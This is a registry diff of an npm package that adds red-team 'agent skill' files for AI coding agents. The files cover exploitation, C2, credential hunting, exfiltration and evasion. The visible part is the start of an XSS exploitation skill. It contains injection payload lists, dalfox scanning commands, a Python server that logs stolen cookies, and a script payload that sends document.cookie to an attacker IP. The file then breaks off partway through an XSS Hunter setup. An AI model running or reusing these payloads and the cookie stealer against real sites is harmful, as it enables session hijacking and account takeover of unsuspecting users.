rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1526 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-xss
|
|
3
|
+
description: "Cross-Site Scripting (XSS) skill. Covers Reflected XSS, Stored XSS, DOM-based XSS, mXSS, CSP bypass, XSS to session hijacking, XSS to RCE (in Electron). Tools: dalfox, XSS Hunter, Burp Suite. Includes payload library and real-world cookie stealing examples."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-xss — Cross-Site Scripting Exploitation
|
|
7
|
+
|
|
8
|
+
## 1. Overview
|
|
9
|
+
|
|
10
|
+
Cross-Site Scripting (XSS) allows an attacker to inject malicious scripts into web pages viewed by other users. Despite being decades old, XSS remains in the OWASP Top 10 and is consistently found in enterprise applications, support portals, CMS platforms, and custom web apps. A successful XSS can escalate from session theft to full account takeover, internal network pivoting (via BeEF), or even RCE when the target is an Electron application.
|
|
11
|
+
|
|
12
|
+
### XSS Taxonomy
|
|
13
|
+
|
|
14
|
+
| Type | Persistence | Vector | Impact |
|
|
15
|
+
|------|-------------|--------|--------|
|
|
16
|
+
| Reflected XSS | None (per-request) | URL parameter, header | Requires social engineering |
|
|
17
|
+
| Stored XSS | Persistent | Form input, file upload, API | Self-propagating, affects all visitors |
|
|
18
|
+
| DOM-based XSS | None/Persistent | Client-side JS source/sink | Bypasses server-side filters |
|
|
19
|
+
| mXSS (Mutation XSS) | Varies | HTML parser quirks | Bypasses sanitization libraries |
|
|
20
|
+
| Blind XSS | Persistent | Admin panels, logs, tickets | High-value targets (admins/SOC) |
|
|
21
|
+
|
|
22
|
+
### Core Concepts
|
|
23
|
+
|
|
24
|
+
- **Source**: Where attacker-controlled data enters the DOM (e.g., `location.hash`, `document.referrer`, `URLSearchParams`)
|
|
25
|
+
- **Sink**: Where data is rendered unsafely (e.g., `innerHTML`, `document.write`, `eval`, `setTimeout` with string arg)
|
|
26
|
+
- **Context**: HTML context, attribute context, JavaScript context, URL context — each requires different payloads
|
|
27
|
+
- **Reflection point**: Where the input appears in the server response
|
|
28
|
+
|
|
29
|
+
### Tools Required
|
|
30
|
+
|
|
31
|
+
```bash
|
|
32
|
+
# Install dalfox (Go-based XSS scanner)
|
|
33
|
+
go install github.com/hahwul/dalfox/v2@latest
|
|
34
|
+
|
|
35
|
+
# Install XSS Hunter (self-hosted)
|
|
36
|
+
git clone https://github.com/mandatoryprogrammer/xsshunter-express
|
|
37
|
+
cd xsshunter-express && npm install
|
|
38
|
+
|
|
39
|
+
# Burp Suite Community/Pro — https://portswigger.net/burp
|
|
40
|
+
# Python 3.x for custom payloads and servers
|
|
41
|
+
# Node.js for XSS Hunter Express
|
|
42
|
+
|
|
43
|
+
# Optional: BeEF (Browser Exploitation Framework)
|
|
44
|
+
git clone https://github.com/beefproject/beef
|
|
45
|
+
cd beef && bundle install
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
---
|
|
49
|
+
|
|
50
|
+
## 2. Skill Levels
|
|
51
|
+
|
|
52
|
+
### BEGINNER — Manual Injection, Basic Payloads
|
|
53
|
+
|
|
54
|
+
At this level you identify obvious XSS entry points and confirm execution with alert/prompt probes.
|
|
55
|
+
|
|
56
|
+
**Objectives:**
|
|
57
|
+
- Identify input fields that reflect user data
|
|
58
|
+
- Confirm XSS execution in basic contexts
|
|
59
|
+
- Document findings with screenshots
|
|
60
|
+
|
|
61
|
+
**Starting checklist:**
|
|
62
|
+
1. Map all input vectors: URL params, form fields, HTTP headers (`Referer`, `User-Agent`, `X-Forwarded-For`)
|
|
63
|
+
2. Submit a unique canary string (e.g., `xss1337test`) and search the response
|
|
64
|
+
3. Note the HTML context of the reflection
|
|
65
|
+
4. Apply context-appropriate payload
|
|
66
|
+
|
|
67
|
+
**Basic payload set:**
|
|
68
|
+
|
|
69
|
+
```html
|
|
70
|
+
<!-- Basic alert probes -->
|
|
71
|
+
<script>alert(1)</script>
|
|
72
|
+
<script>alert(document.domain)</script>
|
|
73
|
+
<img src=x onerror=alert(1)>
|
|
74
|
+
<svg onload=alert(1)>
|
|
75
|
+
<body onload=alert(1)>
|
|
76
|
+
|
|
77
|
+
<!-- Attribute context probes -->
|
|
78
|
+
" onmouseover="alert(1)
|
|
79
|
+
' onfocus='alert(1)' autofocus='
|
|
80
|
+
"><img src=x onerror=alert(1)>
|
|
81
|
+
|
|
82
|
+
<!-- JavaScript context probes -->
|
|
83
|
+
';alert(1)//
|
|
84
|
+
\';alert(1)//
|
|
85
|
+
</script><script>alert(1)</script>
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
**Manual testing with curl:**
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
# Test a GET parameter
|
|
92
|
+
curl -s "https://target.com/search?q=<script>alert(1)</script>" | grep -i "alert"
|
|
93
|
+
|
|
94
|
+
# Test with URL encoding
|
|
95
|
+
curl -s "https://target.com/search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E" | grep -i "script"
|
|
96
|
+
|
|
97
|
+
# Check if input is reflected in response
|
|
98
|
+
curl -s "https://target.com/search?q=CANARY_XSS_1337" | grep "CANARY_XSS_1337"
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
**Browser-based confirmation:**
|
|
102
|
+
|
|
103
|
+
```javascript
|
|
104
|
+
// Paste in browser console to detect DOM sinks
|
|
105
|
+
document.querySelectorAll('*').forEach(el => {
|
|
106
|
+
if (el.innerHTML.includes('CANARY_XSS_1337')) {
|
|
107
|
+
console.log('Sink found:', el.tagName, el.innerHTML.substring(0, 100));
|
|
108
|
+
}
|
|
109
|
+
});
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
---
|
|
113
|
+
|
|
114
|
+
### INTERMEDIATE — Automated Scanning, Context-Aware Payloads
|
|
115
|
+
|
|
116
|
+
At this level you use dalfox for automated discovery, understand all five XSS contexts, and begin building cookie-stealing payloads.
|
|
117
|
+
|
|
118
|
+
**Objectives:**
|
|
119
|
+
- Run dalfox against authenticated targets
|
|
120
|
+
- Identify DOM sources and sinks manually
|
|
121
|
+
- Deliver a basic cookie-stealing payload
|
|
122
|
+
- Test stored XSS in ticket/portal systems
|
|
123
|
+
|
|
124
|
+
**dalfox — Core Usage:**
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# Basic URL scan
|
|
128
|
+
dalfox url "https://target.com/search?q=test"
|
|
129
|
+
|
|
130
|
+
# Scan with custom headers (authenticated)
|
|
131
|
+
dalfox url "https://target.com/search?q=test" \
|
|
132
|
+
--header "Cookie: session=abc123; auth=xyz" \
|
|
133
|
+
--header "Authorization: Bearer eyJhbGci..."
|
|
134
|
+
|
|
135
|
+
# Scan from a file of URLs
|
|
136
|
+
dalfox file urls.txt
|
|
137
|
+
|
|
138
|
+
# Pipe from waybackurls / gau
|
|
139
|
+
gau target.com | grep "=" | dalfox pipe
|
|
140
|
+
|
|
141
|
+
# Scan with custom payload
|
|
142
|
+
dalfox url "https://target.com/page?id=1" \
|
|
143
|
+
--custom-payload payloads.txt
|
|
144
|
+
|
|
145
|
+
# Output results to file
|
|
146
|
+
dalfox url "https://target.com/search?q=test" \
|
|
147
|
+
--output results.json --format json
|
|
148
|
+
|
|
149
|
+
# Blind XSS with callback URL
|
|
150
|
+
dalfox url "https://target.com/search?q=test" \
|
|
151
|
+
--blind "https://xsshunter.yourdomain.com/probe"
|
|
152
|
+
|
|
153
|
+
# Scan POST request (save request from Burp)
|
|
154
|
+
dalfox file request.txt --request-method POST
|
|
155
|
+
|
|
156
|
+
# Skip specific parameters
|
|
157
|
+
dalfox url "https://target.com/page?id=1&csrf=abc" --skip-param csrf
|
|
158
|
+
|
|
159
|
+
# Set timeout and concurrency
|
|
160
|
+
dalfox url "https://target.com/search?q=test" \
|
|
161
|
+
--timeout 10 --worker 5
|
|
162
|
+
|
|
163
|
+
# WAF detection mode
|
|
164
|
+
dalfox url "https://target.com/search?q=test" --waf-evasion
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
**dalfox with Burp request file:**
|
|
168
|
+
|
|
169
|
+
```bash
|
|
170
|
+
# Save raw Burp request to req.txt, then:
|
|
171
|
+
dalfox file req.txt \
|
|
172
|
+
--proxy http://127.0.0.1:8080 \
|
|
173
|
+
--header "Cookie: session=YOURSESSION"
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
**Context-specific intermediate payloads:**
|
|
177
|
+
|
|
178
|
+
```html
|
|
179
|
+
<!-- HTML tag context -->
|
|
180
|
+
<details open ontoggle=alert(1)>
|
|
181
|
+
<video src=x onerror=alert(1)>
|
|
182
|
+
<audio src=x onerror=alert(1)>
|
|
183
|
+
<marquee onstart=alert(1)>
|
|
184
|
+
<input autofocus onfocus=alert(1)>
|
|
185
|
+
<select autofocus onfocus=alert(1)>
|
|
186
|
+
<textarea autofocus onfocus=alert(1)>
|
|
187
|
+
|
|
188
|
+
<!-- Attribute context (inside double quotes) -->
|
|
189
|
+
" autofocus onfocus="alert(1)
|
|
190
|
+
" onblur="alert(1)" tabindex="1
|
|
191
|
+
" style="animation-name:x" onanimationstart="alert(1)
|
|
192
|
+
|
|
193
|
+
<!-- JavaScript string context -->
|
|
194
|
+
\x3cscript\x3ealert(1)\x3c/script\x3e
|
|
195
|
+
<script>alert(1)</script>
|
|
196
|
+
<\/script><script>alert(1)<\/script>
|
|
197
|
+
|
|
198
|
+
<!-- Template literal context -->
|
|
199
|
+
`${alert(1)}`
|
|
200
|
+
`;alert(1)//
|
|
201
|
+
|
|
202
|
+
<!-- URL context (href, src) -->
|
|
203
|
+
javascript:alert(1)
|
|
204
|
+
javascript:void(alert(1))
|
|
205
|
+
data:text/html,<script>alert(1)</script>
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
**Basic cookie stealer — hosted exfiltration:**
|
|
209
|
+
|
|
210
|
+
```python
|
|
211
|
+
#!/usr/bin/env python3
|
|
212
|
+
# cookie_server.py — run on your VPS
|
|
213
|
+
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
214
|
+
import urllib.parse
|
|
215
|
+
import datetime
|
|
216
|
+
|
|
217
|
+
class CookieHandler(BaseHTTPRequestHandler):
|
|
218
|
+
def do_GET(self):
|
|
219
|
+
stolen = urllib.parse.unquote(self.path)
|
|
220
|
+
ts = datetime.datetime.utcnow().isoformat()
|
|
221
|
+
print(f"[{ts}] {self.client_address[0]} -> {stolen}")
|
|
222
|
+
with open("stolen_cookies.log", "a") as f:
|
|
223
|
+
f.write(f"{ts} | {self.client_address[0]} | {stolen}\n")
|
|
224
|
+
self.send_response(200)
|
|
225
|
+
self.send_header("Access-Control-Allow-Origin", "*")
|
|
226
|
+
self.end_headers()
|
|
227
|
+
self.wfile.write(b"ok")
|
|
228
|
+
|
|
229
|
+
def log_message(self, fmt, *args):
|
|
230
|
+
pass # suppress default logs
|
|
231
|
+
|
|
232
|
+
HTTPServer(("0.0.0.0", 8888), CookieHandler).serve_forever()
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
```bash
|
|
236
|
+
# Start server
|
|
237
|
+
python3 cookie_server.py &
|
|
238
|
+
|
|
239
|
+
# XSS payload that calls back
|
|
240
|
+
# Replace 1.2.3.4 with your VPS IP
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
```html
|
|
244
|
+
<script>
|
|
245
|
+
var img = new Image();
|
|
246
|
+
img.src = "http://1.2.3.4:8888/?c=" + encodeURIComponent(document.cookie);
|
|
247
|
+
</script>
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
---
|
|
251
|
+
|
|
252
|
+
### ADVANCED — Blind XSS, Stored XSS, mXSS, CSP Bypass
|
|
253
|
+
|
|
254
|
+
At this level you deploy persistent XSS in support portals, bypass WAFs and CSP, use XSS Hunter for blind XSS, and perform session hijacking.
|
|
255
|
+
|
|
256
|
+
**Objectives:**
|
|
257
|
+
- Deploy stored XSS in osTicket and similar helpdesk portals
|
|
258
|
+
- Configure and use XSS Hunter Express for blind XSS
|
|
259
|
+
- Bypass common CSP policies
|
|
260
|
+
- Perform full session hijacking workflow
|
|
261
|
+
|
|
262
|
+
#### XSS Hunter Express — Self-Hosted Setup
|
|
263
|
+
|
|
264
|
+
```bash
|
|
265
|
+
# On your VPS (Ubuntu 22.04)
|
|
266
|
+
git clone https://github.com/mandatoryprogrammer/xsshunter-express
|
|
267
|
+
cd xsshunter-express
|
|
268
|
+
cp config.sample.js config.js
|
|
269
|
+
|
|
270
|
+
# Edit config.js
|
|
271
|
+
nano config.js
|
|
272
|
+
# Set: HOSTNAME = "xss.yourdomain.com"
|
|
273
|
+
# Set: PORT = 443
|
|
274
|
+
# Set: ADMIN_PASSWORD = "YourStrongPass123!"
